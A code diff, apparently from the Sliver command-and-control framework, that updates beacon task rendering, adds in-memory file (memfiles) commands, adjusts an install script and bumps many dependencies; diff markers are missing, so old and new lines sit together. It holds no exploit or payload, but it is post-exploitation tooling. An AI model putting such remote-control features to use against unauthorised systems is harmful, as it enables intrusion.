case sliverpb.MsgEnvReq:
envInfo := &sliverpb.EnvInfo{}
err := proto.Unmarshal(task.Request, envInfo)
err := proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
@@ -357,7 +357,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintPwd(pwd, con)
case sliverpb.MsgDownload:
case sliverpb.MsgDownloadReq:
download := &sliverpb.Download{}
err := proto.Unmarshal(task.Response, download)
if err != nil {
@@ -415,7 +415,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintRm(rm, con)
case sliverpb.MsgUpload:
case sliverpb.MsgUploadReq:
upload := &sliverpb.Upload{}
err := proto.Unmarshal(task.Response, upload)
if err != nil {
@@ -451,6 +451,33 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintChtimes(chtimes, con)
case sliverpb.MsgMemfilesListReq:
memfilesList := &sliverpb.Ls{}
err := proto.Unmarshal(task.Response, memfilesList)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintMemfiles(memfilesList, con)
case sliverpb.MsgMemfilesAddReq:
memfilesAdd := &sliverpb.MemfilesAdd{}
err := proto.Unmarshal(task.Response, memfilesAdd)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintAddMemfile(memfilesAdd, con)
case sliverpb.MsgMemfilesRmReq:
memfilesRm := &sliverpb.MemfilesRm{}
err := proto.Unmarshal(task.Response, memfilesRm)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintRmMemfile(memfilesRm, con)
// ---------------------
// Network commands
// ---------------------
@@ -691,7 +718,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
// ---------------------
// Screenshot
// ---------------------
case sliverpb.MsgScreenshot:
case sliverpb.MsgScreenshotReq:
screenshot := &sliverpb.Screenshot{}
err := proto.Unmarshal(task.Response, screenshot)
if err != nil {
+2 -2
View File
@@ -361,12 +361,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
if beacon != nil {
con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
}
task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
if err == nil {
callback(task)
callback(task_content)
} else {
con.PrintErrorf("Could not get beacon task content: %s\n", err)
}
+5 -3
View File
@@ -187,9 +187,11 @@ const (
UploadStr = "upload"
IfconfigStr = "ifconfig"
NetstatStr = "netstat"
ChmodStr = "chmod"
ChownStr = "chown"
ChtimesStr = "chtimes"
ChmodStr = "chmod"
ChownStr = "chown"
ChtimesStr = "chtimes"
MemfilesStr = "memfiles"
ProcdumpStr = "procdump"
ImpersonateStr = "impersonate"
+2 -2
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.8)
commonmarker (0.23.9)
concurrent-ruby (1.2.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
@@ -212,7 +212,7 @@ GEM
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.17.0)
nokogiri (1.14.1)
nokogiri (1.14.3)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.25.1)
+4 -3
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -130,7 +130,8 @@ fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
chmod 755 /usr/local/bin/sliver
else
exit 3
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.20.2"
GARBLE_VER="1.20.3"
GO_VER="1.20.7"
GARBLE_VER="1.20.7"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
+22 -20
View File
@@ -5,6 +5,7 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
filippo.io/age v1.1.1
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
@@ -29,31 +30,31 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.16
github.com/miekg/dns v1.1.52
github.com/miekg/dns v1.1.54
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.4.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.1
github.com/sirupsen/logrus v1.9.2
github.com/spf13/cobra v1.7.0
github.com/stretchr/testify v1.8.1
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.7.0
golang.org/x/net v0.8.0
golang.org/x/sys v0.6.0
golang.org/x/term v0.6.0
golang.org/x/text v0.8.0
golang.org/x/crypto v0.9.0
golang.org/x/net v0.10.0
golang.org/x/sys v0.8.0
golang.org/x/term v0.8.0
golang.org/x/text v0.9.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.54.0
google.golang.org/grpc v1.55.0
google.golang.org/protobuf v1.30.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.4.7
gorm.io/driver/postgres v1.5.0
gorm.io/driver/sqlite v1.4.4
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
gorm.io/driver/sqlite v1.5.1
gorm.io/gorm v1.25.1
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.21.0
modernc.org/sqlite v1.22.1
)
require (
@@ -70,21 +71,21 @@ require (
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/dustin/go-humanize v1.0.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.0 // indirect
github.com/jackc/pgx/v5 v5.3.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
@@ -99,13 +100,14 @@ require (
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/rogpeppe/go-internal v1.10.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.8.0 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.6.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
@@ -115,7 +117,7 @@ require (
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13 // indirect
modernc.org/libc v1.22.3 // indirect
modernc.org/libc v1.22.5 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.5.0 // indirect
modernc.org/opt v0.1.3 // indirect
+50 -72
View File
@@ -1,7 +1,9 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
cloud.google.com/go/compute v1.18.0 h1:FEigFqoDbys2cvFkZ9Fjq4gnHBP55anJ0yQyau2f9oY=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
@@ -60,7 +62,6 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDk
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -78,8 +79,8 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
@@ -113,8 +114,8 @@ github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
@@ -143,22 +144,20 @@ github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.3.0 h1:/NQi8KHMpKWHInxXesC8yD4DhkXPrVhmnwYkjp9AmBA=
github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jackc/pgx/v5 v5.3.1 h1:Fcr8QJ1ZeLi5zsPZqQeUZhNhxfkkKBOgJuYkJHoBOtU=
github.com/jackc/pgx/v5 v5.3.1/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
@@ -172,15 +171,12 @@ github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
@@ -206,7 +202,6 @@ github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPn
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
@@ -214,8 +209,8 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.1.52 h1:Bmlc/qsNNULOe6bpXcUTsuOajd0DzRHwup6D9k1An0c=
github.com/miekg/dns v1.1.52/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
@@ -238,15 +233,15 @@ github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/sirupsen/logrus v1.9.2 h1:oxx1eChJGI6Uks2ZC4W1zpLlVgqB8ner4EuQwV4Ik1Y=
github.com/sirupsen/logrus v1.9.2/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
@@ -274,7 +269,6 @@ github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
@@ -286,12 +280,10 @@ golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A=
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
